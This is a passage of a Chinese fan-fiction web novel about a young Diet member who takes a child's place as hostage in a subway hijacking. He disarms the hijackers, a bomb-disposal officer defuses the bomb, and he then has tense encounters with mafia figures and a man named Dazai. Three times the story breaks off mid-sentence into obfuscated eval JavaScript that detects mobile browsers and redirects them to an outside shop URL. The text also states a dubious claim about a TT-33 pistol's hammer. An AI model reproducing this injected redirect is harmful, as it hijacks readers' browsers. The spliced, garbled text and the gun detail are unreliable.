下一秒,那个年轻的纹身歹徒一把抓起了乘客里的一个小女孩,像拎小鸡崽一样直接一把拎了起来。 “步美!” “爸爸——!妈妈——!” 小女孩的父母顿时惊得猛然起身,下意识就要不管不顾地冲上去夺回女儿,却在看到歹徒的枪口抵在了女儿的头上时,心脏已经要濒临爆炸却只能浑身颤抖地停下了意图扑上前的脚步。 名叫步美的小女孩也浑身发抖,吓得想哭,眼泪却又不敢往外流。 而歹徒则是冲着正在直播的手机镜头,隔空对着警察吼道: “快点照做!不然迟一分钟我就杀掉这里的一个人,就从这个小丫头开始!” …… “混蛋——!” 一辆飞速奔赴现场的警车上,警视厅警备部机动队爆.炸.物处理班的警部松田阵平看着直播现场里歹徒的丧心病狂,口中忍不住咒骂。 因为现场有炸弹,所以出动他们部门是必不可少的,今天正好由他带队来处理这起骇人的突发事件。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234434|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不管怎样,确保人质的安全是第一位的,建议先配合歹徒提出的要求,以免激怒歹徒。” 松田阵平一边关注着现场状况,一边冷静地和警视厅总部联络。 越是危机时刻,越要保持冷静,心浮气躁乃是大忌…… 乃是大忌…… 大忌…… 这是什么情况!!! 看着手机屏幕上显示出的现场风云突变的一幕,准确说是有个男人突然“挺身而出”的一幕,正在狂飙着警车的松田阵平险些方向盘打滑来个原地漂移。 得知这趟线路早高峰的一班地铁被劫持时,他第一反应就是那家伙会不会也在这班地铁上,毕竟那家伙每天都是搭这趟线路上下班的。 心中惴惴不安地祈祷那家伙没坐这班车,结果,果然越是担心发生的事情越是会发生啊,而且…… 你在干什么啊,於菟! …… 地铁上—— “别激动,只是想和你们商量一下,换个人质怎么样,让我来换那个小女孩。” 就在对峙的紧张氛围达到极点时,太田於菟却是在众人惊讶的目光中站起身,高举双臂作投降状,缓缓朝着车厢最前方的那两个歹徒走去。 “别过来!” 持枪的那个歹徒也没想到乘客里居然有人这么勇,一时间也有些乱阵脚,下意识地枪口从小女孩头顶移开,转而朝向太田於菟。 太田於菟在对方的警告下,也是停在了原地,与对方此刻相距两三步之遥。 “我是国会议员太田於菟。” 太田於菟取出了自己的工牌和相关证件来证明自己的身份,而此刻人群中也有不少人认出了他这位史上最年轻议员。 “你选择这个小女孩作人质如果只是因为觉得比较好控制的话,那么建议还是选择我吧。毕竟你们的行动也不知道能否成功,万一失败了,还可以一枪带走我,也算是小小地报复政府吧;而且失败了,比起一无所有,枪杀国会议员倒是还能让你们在犯罪史上留下一笔,顺便打脸政府。怎么想我都是个更有价值的人质,所以还是选我吧。” 无论是线下车厢里的所有乘客,还是线上收看直播的无数网民,都目瞪口呆地看向此刻主动自爆身份甚至主动要求当人质的太田於菟。 太田议员,好勇。 而且不仅勇,看起来还这么的冷静淡定,从容不迫,这真的是…… 好帅啊。 …… 然而比起夸赞太田议员真帅,樋口一叶此刻却是真·急疯了。 “芥川前辈,我们真的不去救於菟少爷吗?!” 东京的街道上,几辆黑色的轿车疾驰而过,为首的那辆正是樋口一叶在驾驶,副驾驶座上坐着芥川龙之介。 芥川龙之介刚刚与顶头上司通过电话: “首领说,他知晓少爷的意图是什么了,我们按首领说的做就好。” 5. 失忆第五天 Chapter 5 地铁上,乘客们依旧处于惶恐中,并紧张地关注着车厢最前方的状况。 歹徒同意了交换人质,但是太田於菟这么个成年男性毕竟没有一个小女孩好控制,于是干脆用身上带着的手铐把人两手一拷,然后一脚踹到角落里,同时不忘上方悬着枪威胁。 “老实点,但愿政府愿意救你们。”歹徒满腔嘲讽,并且不忘凶狠地对着自己的头号人质下威胁,“不然,了不起的太田议员,第一个被毙掉的人就是你!” 被人用枪指着脑袋,太田於菟却只是看了眼对方那微颤着的枪口,接着,一脸平静地同其对视着。 而一张口便是…… “瞧,你握着枪的手都在发抖呢,真的有力气扣动扳机吗,又真的能够瞄准我吗,我猜你们俩在吉川组里应该也只是个底层的小角色吧,是不是连真正的火拼现场都没有见识过,嗯?” 天呐,我在说些什么,感觉我好像是一幅反派的样子啊!全国人民都在看着直播呢! 太田於菟心里一阵哀嚎,然而嘴巴却是比大脑要快。 “Mafia的本质是把暴力转化为经济的行为体,牺牲你们两个无足轻重的成员,来换取首脑的回归,这的确是一种盈利,就组织层面而言这不失为最优解。” 停下,快停下,我到底在说些什么啊!我为什么会这么自然地在教人怎么经营Mafia啊! 太田於菟感觉自己已经快绷不住脸上那淡定从容的表情,内心更是已经兔斯基流泪了。 快说点什么挽回形象的话啊! “但是……就这么轻易将你们舍弃掉,这样的首领真的值得你们追随吗?所谓首领,既是组织的最高统领者,也是组织的守护者,舍弃同伴的家伙根本没资格去当首领啊!” 毁灭吧……是挽回自己的形象,不是挽回Mafia的形象啊!这样听起来简直更像是正道的光落在了Mafia的身上啊! 太田於菟当下有些不想面对这个残酷的世界,但是看着眼前这俩极道组织的歹徒似乎还真的被自己说得有点动摇了…… 要不,要不还是再试着策反一下? “现在,在你们面前还有一条路可走。如果你们现在收手的话,刑罚会减轻不少,并且你们那个狗屎首领可以被视为此次犯罪案件的主谋。你们还很年轻,没必要为那个把你们当炮灰使的狗屎首领卖命,如何,我们好好谈谈?” 太田於菟切换到谈判模式,虽然心中已经备好了PlanB,但若是能以最平和的方式解决这起事件是再好不过了。 呼唤和平呼唤爱,love&peace才是永恒的王道啊。 然而内心正陷入极度矛盾挣扎中的歹徒却是炸毛了: “不要一口一个狗屎啊!你这虚伪的政客大叔!” 被打上了“大叔”标签的太田於菟也炸毛了,虽然他的确面临发际线危机但是他还没有到身上沾染叔味的年纪啊! “不许叫我大叔!我才二十五岁!” “那叫你什么!” “咳,谈判场合请称呼职务,就叫我尊敬的议员先生吧。” “毙了你啊!” “那叫我帅哥也行。” “……” 机会! 瞅准对方注意力不集中的这一瞬间,太田於菟一个鱼跃飞身猛地扑了上去,直接把对方压倒在了身下!一只手握住对方持枪的手,另一只手则用一把冰冷而尖锐的东西抵住了对方的脖颈动脉处,低声对其说道: “别动,否则我立刻就割破你的颈动脉,一瞬间哦。” 而之前封锁住他双手的手铐,在他跃起的时候就被他顺带着轻松自如地解开了。 “混……混蛋!” 歹徒被吓得颤抖不已,持枪的手指下意识地扣动了扳机,然而…… 没有任何子弹射出。 看着对方无计可施的样子,太田於菟嘴角扬起了一抹弧度。 这个年轻莽撞的歹徒最初亮起手中的枪时,他一眼就认出了那是TT-33型号的枪,也就是所谓的托卡列夫枪。这种枪有一个安全装置,只要把枪上的那个铁锤扳起来,枪就会停止运作。他在控制住对方这只手的刹那就立刻完成了这个动作,比起强行去抢夺这把枪让对方在争夺的慌乱中肆意扫射,这样做才是更加保险稳妥的最优解。 尤其是看这家伙持枪时的菜鸟样子,显然是不知道这种枪的特点呢。 好吧,那就让他这个“大叔”好好给年轻人上一课吧,大人的世界可是很恐怖的哦。 “别挣扎了,这把枪已经被大叔我施加魔法了,既然你不肯好好和我谈判,那就只能对坏孩子施以惩罚了。” 太田於菟嘴角带着笑意,眼眸中却是淬着寒冰地对着歹徒说完这话后,偏过头来看向另一边时,则是笑眯眯的满眼尽是笑容: “Good job!弥一你果然是我的最佳助手。” 另一边,巨势弥一死死地压制着另一个歹徒,并且在扑向对方的第一时间就果断做出决策——一口下去死死咬住对方的手腕! 猝不及防的剧痛让歹徒下意识把手里拿着的炸弹遥控器脱手扔飞了,幸好乘客里有人关键时刻没掉链子,颤抖但稳稳地接住了。 “前辈你还好意思说啊!” 确定了危机基本解除后,巨势弥一赶忙啐了一口,他感觉他刚刚从这人的手腕上啃下一大口泥! 刚刚全程太田於菟不时地瞅准机会给他使眼色,还好他全都理解正确了,怀着一颗七上八下的心配合行动……他从来不知道当议员秘书是件这么特种兵的事情啊! 至于前辈点亮的那些各种各样乱七八糟的技能,每次他询问,前辈都说是当初在警察学校的时候学的。 前辈,但是我没有上过警察学校啊!以及我还是很困惑警察学校真的会教这些吗,比如你现在拿着把修眉刀抵着对方的脖子威胁,你以为你拿的是手术刀吗! 太田於菟相当默契地读懂了助手的眼神,并再度回以眼神答复—— 随身带着修眉刀怎么了,谁还不是个精致优雅的议员了! 巨势弥一:“……” 行吧,优雅,这很优雅。 枪和炸弹遥控器这两样高危物品的危机解除后,太田於菟也有序地组织现场进行下一步。 “在场哪位男士的裤子皮带比较厚实,麻烦解一下?” 意识到自己的这话听起来有点虎狼之言,赶忙补充: “不,我的意思是用皮带把这两个人绑起来。” 形象,形象,他得时刻注意他在民众心中的光辉议员形象。 就在地铁里的所有人终于松了口气,准备同仇敌忾把这俩歹徒五花大绑,外面待命已久的警察也上前准备把这一车人救出来时…… “哔——” 一片嘈乱中,太田於菟敏锐地听到了这个让他感觉不妙声音……糟了! 当即三步迈作两步冲进车厢最前方的司机操控室里,只见那枚此前被歹徒摆放在操控面板上的定时炸弹突然启动,倒计时三分钟! “原来如此……” 这两个歹徒是彻头彻尾的炮灰,恐怕他们自己都不知道自己从一开始就被组织当作了这次行动的牺牲品。 他们手里的这个炸弹遥控器根本就不是真的,在外的组织成员在确保他们老大已经从狱中脱身并且成功甩开警察的追踪后,就启动了真正的遥控器,让这两个家伙和一车乘客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234435|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起炸了。这样既可以避免这二人落网后被警方审问出更多关于组织的情报,还可以把这场爆炸算到这二人的头上。 瞬间理清了是怎么一回事后,太田於菟却完全没心思去唾弃一番这个组织,现在车门打不开,警察从外面强行砸破车玻璃还需要一点时间,而且三分钟内也很难疏散完这一整个地铁列车里的人,他现在只能分秒必争地拆除这个炸弹…… 谁能借他一把钳子或者匕首啊!割电缆用修眉刀真的不行啊! 全神贯注地对付这颗炸弹,身后是纷杂的背景音,有乘客们惊恐的尖叫声、有咚咚咚地奋力砸门砸窗声、有警察们的指挥疏散声,而就在这片混乱不已的背景音中…… “给我!” 一道声音仿佛穿透这片混乱嘈杂,伴随着一个身影破窗后如疾风般向他冲来,在他最需要帮助的绝望时刻带给他希望…… 咳咳,这么说有些矫情了,但是这幕真的是, 太帅了…… 感觉把他刚刚那一系列帅气的风头全都压过了啊! 一身专业的防爆服,英气的面容是最认真时的样子,凫青色的双眸全神贯注地盯着手中刚刚拿过来的炸弹,正在拆着弹的双手小心谨慎却又娴熟坚定。 如果不能完美拆除炸弹,那么此刻的每分每秒都是生命的倒计时,太田於菟不喜欢这种把命运交给别人来决定的感觉。 但是此刻,他却觉得他愿意相信身旁的这位拆弹专家。 他认出来了,在那张警校毕业照上见过的同期, 那个据说总是给他修家电的男人, ……所以你会救我的不会让我炸成烟花的吧松田君!拆炸弹对你而言就像修家电一样简单的对吧松田君! 在心中一连串的呐喊式祈祷后…… “呼……” 松田阵平终于长出了一口气,手上炸弹的红色倒计时数字也停止了。 “没问题了,危机解除。” 听到这如同定心丸一般的话,太田於菟终于松了口气,紧绷了半天的神经也终于放松了下来,松弛到险些膝盖一软要倒……不行,稳住,富士山崩于前而面不改色的沉稳议员形象还是要维持住的。 然而下一刻,头上一重,只见松田阵平仗着身高优势将一只手搭在了他的头顶上,还把他那本就乱掉了的头发揉得更乱了: “好了,你已经做得够好了,智勇双全的小议员。” “别把我当小孩子,你又没比我大多少……”太田於菟下意识地回道,然后又甩了甩脑袋,让自己的头发脱离对方的魔爪,“还有,别揉了,再揉更秃了啊!” 可恶,不知道他身上最珍稀的就是他的头发了吗! …… “砰——!” 一发子弹精准地射中了正在逃亡中的吉川组头目,瞬间毙命。 附近的一幢高楼里,早已埋伏在此的Port Mafia狙击手确定目标击杀无误后,收起了狙击枪。 后方站着的芥川龙之介也及时向首领汇报任务实时进展: “首领,目标已击毙。” 控制着川崎港的吉川组一直和控制着横滨港的Port Mafia之间存在着既竞争又合作的关系,双方首领也都掌握着不少对方组织的机密。 因此吉川组的首领入狱后,Port Mafia首领便一直觉得这是个必须要解决的问题,至于如何解决最稳妥呢……那当然是,死人是最能够保守秘密的。 很好,这个问题此刻完美解决了。 已经完全明白事情来龙去脉的樋口一叶忍不住点头感叹: “果然最了解於菟少爷的,还是首领啊。” 这真是一场父子间的完美配合啊! 6. 失忆第六天 Chapter 6 “太田议员,请问在那样的危急时刻挺身而出降服歹徒,你不感到害怕吗?” 记者的话筒就这么递到了嘴边,太田於菟一脸郑重地对着正前方的镜头,坚定地说道: “不怕,因为我相信,正义必胜。” 说话间,不忘举起自己的一只拳头增添力量感,对着镜头亮出正义之拳。 这一刻,正道的光妥妥地照耀在了他的身上! …… “正义必胜!” 模仿着对方的台词和举拳动作,一下秒,江户川乱步就忍不住捂着肚子笑了起来,笑得都快要流眼泪了。 横滨商业区一栋大楼上的LED屏正在播放对太田於菟的采访新闻,今早的那场东京地铁劫持事件可是闹得轰轰烈烈的,【太田议员】更是冲上了今日热搜第一位。 外出做完任务准备回侦探社的江户川乱步和与谢野晶子正好路过这里,看到了大屏上的新闻采访。 与谢野晶子盯着屏幕上的太田於菟,脸色算不上好。 其实她并不讨厌这小子,甚至心底对他是有几分感激的,毕竟当初是他通风报信,帮社长和乱步先生从森医生那儿救走了她的……但是,她实在是对森医生年轻时那张脸有心理阴影,而这小子长得又实在和森医生年轻时有几分相似,实在是太令人不爽了! 江户川乱步则是饶有兴致地打量着屏幕里的太田於菟,一副前辈样子说道: “那孩子,已经长这么大了啊。” 与谢野晶子:“……” 乱步先生,你也没比他大几岁吧。 “乱步大人明年就三十岁了,是绝对的大人了!” 看出了与谢野晶子的心中所想,江户川乱步当即反驳。 不许小看准三十岁的成熟大人啊! …… 武装侦探社—— “啊,太好了,当初投票给太田议员果然是正确的选择。” 中岛敦在电脑上看了当下热度第一的太田议员采访视频,今早那起骇人的东京地铁劫持事件他也有全程关注现场直播。 今年的众议员选举,是他成年以来第一次参与横滨选区的投票。其实他并不太了解政坛,只是在看到那几位候选人的介绍时,看到居然有位这么年轻的候选人,忍不住感叹好厉害,然后……就把票投给这位了。 现在看来,这个决定真的是太正确了。 太田议员好棒啊! “敦君,政客可是这世上最虚伪的职业啊,不要被他们骗到了哦。” 一旁,原本趴在办公桌上偷懒摸鱼的太宰治不知何时已经坐起身了,懒洋洋地打着哈欠。 “那个……太宰先生上次的横滨选区投票,投给谁了呢?” 中岛敦试探性地问道,他对此还是很好奇的,不过也有可能得不到答案,毕竟这种问题还是很敏感的。 然而太宰治对待这个问题却是相当坦然: “我投给了金井湛议员。” “诶?!那不是太田议员的最大对手吗?” 因为是第一次参与投票,所以当初中岛敦还是关注了竞选全程的。 当时同为横滨选区候选人的太田於菟和金井湛在竞选的最后阶段撕得不可开交,两人为了拉选票就差直接在横滨市中心安营扎寨好二十四小时开着大喇叭宣传自己有多值得了。 那段时间可热闹了,这对宿敌除了向横滨群众推销自己,还不忘打击对方拼命互相挖黑料,连太田於菟念警校的时候因为违纪而被罚去打扫厕所刷马桶这种黑料都挖了出来。 虽然太田於菟无惧此等黑料,并高呼刷马桶怎么了,劳动最光荣! 而最后的结果是,太田於菟在这场激烈的厮杀中胜出,成功当选横滨选区的议员代表,并顺势成为了本国有史以来最年轻的议员。不过,金井湛后来又通过比例代表选举的方式当选,也就此进入了众议院。 “太宰先生当初选择投给金井议员,是因为觉得金井议员从政经验更加丰富一些,所以更可靠吗?” “不,我只是单纯看太田议员不爽而已。” 太宰治态度相当随意地说道。 中岛敦很想吐槽太宰先生你的投票依据会不会过于随意了啊!然而还没来得及开口,便被门外喊帮忙的同事叫走了。 空荡荡的办公室里只剩下太宰治自己,而中岛敦刚刚走得急忘了关掉视频界面,已经在自动连播下一个太田於菟的采访视频了。 安静的房间里只有视频里太田於菟侃侃而谈的声音…… 令人讨厌的声音。 太宰治眼角余光漫不经心地斜睨向视频里的人,鸢色的眸子里染上了一抹阴鸷。 真是丑陋啊,你这副样子…… 於菟。 …… 港口黑手党—— “哈哈哈哈哈!” 首领办公室里,坐在地毯上的爱丽丝指着电视里的人笑得不能自已。 太好笑了,太好笑了,她一定要记录下森於菟的黑历史——正义使者於菟君什么的,太好笑了啊! 哼,下次见面时一定要狠狠嘲笑他一番! 想到就行动,爱丽丝当即拿起蜡笔在画纸上画着抽象版的“太田议员”。 书桌后方,森鸥外静静地倚靠着自己的办公椅,手边摆放着咖啡,看起来很悠闲的样子。 然而不时敲击着桌面的手指,却又表明着他此刻的心绪并不像表面看起来那么悠然自得。 於菟这次做得很好,一箭三雕。 既让“太田议员”收割了一大波民众的好感与支持,又解决掉了吉川组头目这个不稳定因素,并且把杀掉吉川组头目这口锅扣到了吉川组自己身上。 於菟此前通过和处理吉川组一案的法官、检察官套话,从套出的话里推理出了吉川组走私子弹的航线与囤货点。Port Mafia这边在收到於菟传递来的情报后也立刻行动,今天狙击手射出的那款子弹正是缴获来的吉川组内部使用的子弹,以此来误导政府的追查方向。 而吉川组内部也会因此而内乱,猜忌组织内部出现了叛徒。 趁着吉川组内乱,正是Port Mafia彻底吞下川崎港的好时候。 今天森鸥外也全程都在通过直播关注於菟的状况,总的来说他的宝贝儿子今日发挥依旧很完美,甚至连演技都更加炉火纯青了,连他看了都想称赞一声真是正义好议员呢。 唯一让他有些在意的是…… 【舍弃同伴的家伙根本没资格去当首领啊!】 说这话的时候,於菟他究竟只是为了用话术动摇对方,还是下意识地就这么脱口而出了呢…… 那个人,对於菟的影响果然还是很深啊。 思及此,森鸥外那双幽紫色的眼眸沉下了几分,已经在思考着该如何帮儿子拔除这根隐藏的“刺”了。 说到底,也都是他的错,如果他当初没有让於菟…… 算了,早已发生过的事情,再想也没有意义了,森鸥外收回自己的思绪,专注于当下……比如当下手机里的照片。 作为一个爱孩子的好爸爸,他当然要留存下孩子的每一个可爱瞬间啊! 森鸥外果断把刚刚电视采访里於菟握着拳头高呼“正义必胜”的那幕做成了表情包,并且设置为新的手机屏保。 而原本的手机屏保,是於菟小时候穿着小洋裙被他打扮成女孩子的珍贵照片……换掉这张屏保,还真的,有点,舍不得。 森鸥外忍不住捂脸。 今天又是被他的宝贝虎崽可爱到的一天……呜呜,虎崽长大后,就再也不肯穿小洋裙给爸爸看了啊。 他对自己这个唯一的儿子各方面都很满意,而唯一遗憾的一点就是……可惜不是女孩子啊。 为什么就不能是女孩子呢! 如果是女孩子的话,他一定会宠到为她摘星星摘月亮都不在话下的,但既然已经是男孩子了……行吧,那就好好为组织工作吧。 加油啊虎崽,爸爸等着早日成为首相之父呢。 …… 太田於菟并不知道他的各路“熟人”对他这次事件的反应,因为他这两天忙得要死。 并不是拆除炸弹全员得救就结束了,接下来他作为事件的一线当事人还要到警局做笔录备案,并且配合相关部门完成对这起事件的进一步调查。 甚至忙到他都忘了第一时间去找回他的公文包,包丢失在了当时地铁里的那片混乱中,不知所踪。不过想到包里没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234436|151388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要文件,唯一的特殊物品也只有那个被放置的窃听器……算了,就当用这种方式解决掉窃听器吧,背后窃听的人也必然不会觉得是他故意为之的。 而且,要说忙,不仅他忙,身为此次救援行动带队指挥官的松田阵平也忙,二人一直都没机会好好聊下。 虽然太田於菟已经没有了和对方相处的过往回忆,但他相信他书房里的那个保险箱就是他给身边人发的金水,能够进入那个箱子里的人一定都是他珍视且信任的人。 所以,不怕,太田於菟,拿出社牛精神好好和陌生的松田君相处吧,一定很快就能再次成为朋友的! “於菟,你今天感觉怪怪的。” 松田阵平上下打量了太田於菟一番后,皱着眉头说道。 突然收获如此评价,太田於菟心头一跳,他还没有想好要不要把自己失忆的事情告诉对方。 终于得空了的他们在一家餐厅吃晚饭,太田於菟主动提出为了感谢松田阵平的“拆弹救命之恩”,要请客吃海鲜料理。 而除了松田阵平,还有一个人也加入饭局了——萩原研二。 萩原研二最近被安排去附近的县培训当地的爆.炸.物处理班,得知了这起东京地铁劫持事件后,当即便电话十万火急地一遍遍确认松田阵平和太田於菟是否安好。 在外县的工作一结束,也是立刻就飙车回东京见这二人,把二人浑身上下都双眼X光般扫射了一遍,确保这二人当真都完好无损后才安心。 太田於菟在看到驾着车一个漂移甩尾漂到他面前的萩原研二时,也是内心一阵小激动……是照片上的研二君诶!是活的! 其实这两天还有其他被他发了身份金水的好友也都十万火急地给他打来了慰问电话,确认他真的安好,比如陪未婚妻去国外探亲的伊达班长,再比如眼下正在为了新项目而环球出差的景吾君。 但是的确没有一个亲人给他打来电话。 ……难道他真的是孤到九族都灭绝了的孤儿? “於菟,於菟……你又走神。” 松田阵平挥着手在太田於菟面前晃了几下,让人回神。 一旁的萩原研二也一脸探究地上下打量着太田於菟,甚至脑洞大开起来: “的确有点怪怪的,莫不是这副身体被夺舍了?说,真的太田於菟到哪里去了!” 这编得比他失忆还离谱!太田於菟:“你少看些魔幻小说啦!” 萩原研二勾唇笑了笑,举起了餐盘里的一只螃蟹问道: “提问,三秒内作答,一只螃蟹看到了一串青葡萄和一串红葡萄,请问螃蟹对红葡萄说了什么?” 太田於菟不假思索地便答道: “你熟了。” 这个回答……萩原研二和松田阵平对视了一眼,然后一致点了点头。 好冷,是太田於菟本尊没错了。 接着,二人也毫不客气地笑出了声。 不过比起冷笑话,果然还是讲着冷笑话的太田於菟更能逗乐他们啊。 太田於菟撇了撇嘴,思索着到底要不要把自己失忆的事情告诉这二人呢……如果他的失忆并不是意外,而当真是被人暗害,那么在警视厅里有可靠的朋友来帮他调查,应该是件不错的事情吧。 但是,如果真的是被人暗害的,那他这样做岂不是就等于把这二人也拉入了这场危险的阴谋中? 不行,他不能连累他的朋友! ……啊,当然,巨势弥一的话,那是不可避免地最先让他知道了,这个不算数哈。 就在太田於菟打定了主意要自己扛下所有时…… “欢迎光临!” 餐厅大门处传来了服务员的招待问候声,又有新的客人进来了。 “国木田君~今天你真的会请客的对吧?” “知道了,知道了,答应的事我会做到的……但你不要太过分啊太宰!” “今天让你破费了,国木田先生。” 新进店的客人有三个,而就在走进店里的一瞬间,太田於菟身子没由来的一抖…… 他敏锐地感觉到有道视线落在了他的身上。 当他抬起头时,猝不及防地便与一双鸢色的眼眸隔空对视上了。 ……好吓人的眼神啊! 7. 失忆第七天 Chapter 7 那一瞬,我仿佛看到了一片令人窒息的黑暗。 平静而又浓稠,仿佛一丝亮光也无法照入。 而在这片黑暗中,还裹挟了些别的意味。 我不知道该如何形容,只是觉得…… 这个人下一秒就算抄起店老板的杀鱼刀捅进我的心脏也没什么可惊讶的。 ……我不是欠了那个人的钱吧!!! “於菟,於菟?” 连声的呼唤和突然被塞进嘴里的东西,终于让森於菟收回了思绪。 嘴里叼着根萩原研二刚刚塞给他的螃蟹腿。 这副呆滞的样子,看起来有些……傻兮兮的。 松田阵平也忍不住皱了皱眉头,“你怎么了,老是走神,是不是这几天太累了?” “没有啦,没有。”太田於菟摆了摆手,接着豪气地把酒瓶往桌子上一压,“今天不醉不归!” 萩原研二和松田阵平对视一眼,在彼此的眼里都看到了无奈。 这人对自己的酒量真的是永远都没有一个清醒的认知啊。 菜且爱喝,能怎么办呢。 而太田於菟的眼角余光又悄悄打量向不远处的另一桌,准确说是打量刚刚那个看向他时眼神相当恐怖的男人…… “美丽的小姐,你就像这扇贝里的珍珠一样美丽,不知你是否愿意同我殉……” “太宰!!!” 他看到那个男人拉着店里女服务生的手调情,怎么看都不像是个靠谱的正经人,然后就被与其同行的那个戴眼镜的男人狠狠教训了。 与之前看向他时的那瞬相比简直判若两人。 而那个男人在餐桌旁落座后,也只是和同桌的另外两人笑嘻嘻地插科打诨,并没有再看向他。 尽管当时的对视转瞬即逝,但是,他可以肯定,那绝对不是他的错觉。 他一定,是认识那个人的。 “研二,阵平……”太田於菟压低了声音,试探着从自己的两个好友这儿打听,“你们知道,我,有欠什么人钱吗?” 结果问出口后,太田於菟觉得自己这问题问得简直蠢爆了。 难道是因为在这俩人面前他太有安全感太放松,所以智商也直降了吗…… “嗯?没有吧,你应该不会欠什么人钱吧。”萩原研二给出了否定的答案,然后调侃着说出自己的判断依据,“你要是真缺钱了,你那位迹部同学不会吝啬向你伸出援手的。” 太田於菟:“……” 不要说得好像一幅他被景吾君包.养了的样子!他和景吾君之间可是感天动地的同学情……虽然他也并不介意景吾君向他捐助更多的政治资金,咳。 不过,那个仿佛用眼神就能杀死他的男人不是他的债主就好。 他也只是个靠政府薪水过活的打工人啊! …… 饭吃到一半,松田阵平和萩原研二就按下了太田於菟的酒瓶,不许他再喝了。 他俩几乎没怎么喝,一直留心着太田於菟喝了多少,根据过往经验判断,等到这小子喝到酒量临界值时就立刻叫停。 太田於菟:“……” 虽然他是个孤儿,但他觉得自己多了两个爹。 果然他警校的同期是把他当儿子看待的啊。 “我去下洗手间。” 酒兴被打断,太田於菟也不再强求,去洗手间整理下自己。 结果,洗手间外的洗手台—— 太田於菟脚步顿住了,在看到洗手台旁站着的人时,原本因为酒精而微熏的大脑也瞬间清醒。 只见正在洗着手的太宰治在注意到身后的人时,也缓缓抬起头,看向洗手台上方镜子里所映出的身影,与镜中的人对视。 嘴角勾起一抹意味不明的弧度,用听起来算不上友好的口吻说道: “你喝了不少呢,和你的警校好友在一起就这么开心吗,於菟?” 这个人果然认识自己! 而且很有可能是敌人! 真恶劣,这话说的,明显是见不得他好啊! 太田於菟很快便做出了判断,同时直觉告诉他这个敌人非常难对付,他一定要稳住,不能暴露出自己此刻的残缺状态(失忆)。 那么,在对敌方了解不足的情况下,最好的策略自然是以不变应万变的沉默大法。 无论对方发动怎样的攻击,都以沉默表态。 简单来说就是,任你招数出尽,我不接招。 决定了作战策略后,太田於菟沉默地走上前去,直接打开洗手台上并排的另一个水龙头,自顾自地洗着手,视身旁人为无物。 而被无视了的太宰治并不打算这么轻易放过这位“老伙计”,凭着身高上的优势目光向下斜睨,张口的声音听起来很黏腻,却又带着毫不遮掩的嘲讽: “好歹是我们时隔七年的重逢,态度这么冷淡,还真是令人伤心啊。” 太田於菟:“……!!!” 七,七,七……七年! 七年,都足够一对夫妻熬到七年之痒大打出手分崩离析各自飞了!自己是做了什么十恶不赦的事情吗被这个男人记仇了七年! 这种阴魂不散的感觉,简直和这个男人身上的气质太匹配了,仿佛已经听到了这人在自己耳边轻语着:我从地狱的尽头回来找你了…… 这种中二又苦情的戏码旁观是很爽但是发生在自己身上就很不妙啊! 尽管内心已经炸成了烟花,但太田於菟脸上依旧是那副淡淡的表情,没有漏出一丝破绽。 他发现了,自己很擅长演戏,只要自己愿意演。 简直像是刻进了他DNA里的天赋一样。 “你还是老样子呢,太宰。” 太田於菟同样只是在洗手时缓缓抬起头,看向镜子中的对方。 在对敌方情报掌握甚少的情况下,不能贸然出击,回以这种万能型聊天话术,然后就让对方自己发散思维去想吧。 至于对方的名字……哦,之前那个眼镜男“教训”这人的时候他听到了。 然而,太宰治没有顺着他这句没什么实际意义的万能回复继续聊下去,反而微微侧转过身,目光也从镜中的映像转移到身边真实的人。 然后,依旧注视着镜子的太田於菟就这么眼睁睁地看着这个男人一脸淡漠地朝他伸出了手,带着薄茧的指腹就这么轻轻抚过他的嘴角。 突如其来的越界举动让太田於菟险些控制不住自己的表情,努力克制着不让自己浑身绷紧,然而在他还没有来得及做出什么应对时,对方指尖的温度便已离开了他的肌肤,然后,他看到那修长的手指将原本粘在他嘴角的蟹肉末碾掉。 这一连串的动作相当连贯自然,甚至还莫名有点……涩情。 就算失忆了,但该有的常识还是有的……包括那方面。而且太田於菟不是一个迟钝粗神经的人,他觉得自己失忆前恐怕也不是个对那种事情白纸一张的小白花。 “的确,人是不会那么轻易就改变的,你也一样,於菟。” 明明那声音里带着笑意,但太田於菟却觉得是在听恶魔低语。 接着,他注意到这个男人的视线转移到了…… “就比如你的头发,竟然还没秃,啧。” 竟然还没秃…… 竟然还没秃…… 竟然还没秃…… 宛如极恶诅咒在他耳畔无限循环回荡,这是自他失忆以来听到过的最不可原谅的一句话…… 老子要把你那头黑卷毛薅下来做成鞋刷擦皮鞋啊!!! 在他克制不住的满眼凶光中,太宰治却是像个没事人似的转身就离开了,甚至嘴里还哼着不成曲的小调,就,挺愉悦的。 太田於菟懂了,这个名叫“太宰”的疑似和他过去有着不清不楚说不定还不可言说关系的男人……把他当猫逗呢! 他可是名字是老虎的男人!是老虎啊! …… 